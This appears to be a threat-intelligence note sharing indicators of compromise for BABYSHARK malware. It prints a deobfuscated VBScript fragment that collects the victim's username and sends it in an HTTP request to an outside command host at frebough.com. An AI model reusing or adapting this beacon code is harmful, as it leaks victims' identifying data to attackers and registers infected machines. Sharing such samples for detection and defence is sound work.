BABYSHARK malware IOC from OneDrive link

deobfuscated_from_CF8C.vbs

On Error Resume Next
Set fs = CreateObject("Scripting.FileSystemObject")
Set ws=CreateObject("WScript.Shell")
Set p0 = CreateObject("msxml2.xmlhttp")
scriptdir = ws.ExpandEnvironmentStrings("%appdata%")
userdir = ws.ExpandEnvironmentStrings("%userprofile%")
username = lcase(ws.ExpandEnvironmentStrings("%username%"))
username=Escape(username)
username=Replace(username,"%u","")
chk="no"
username=lcase(username)
p0.open "GET", "https://frebough.com/onedrive/winmm.php?op=" +username,false
p0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
p0.Send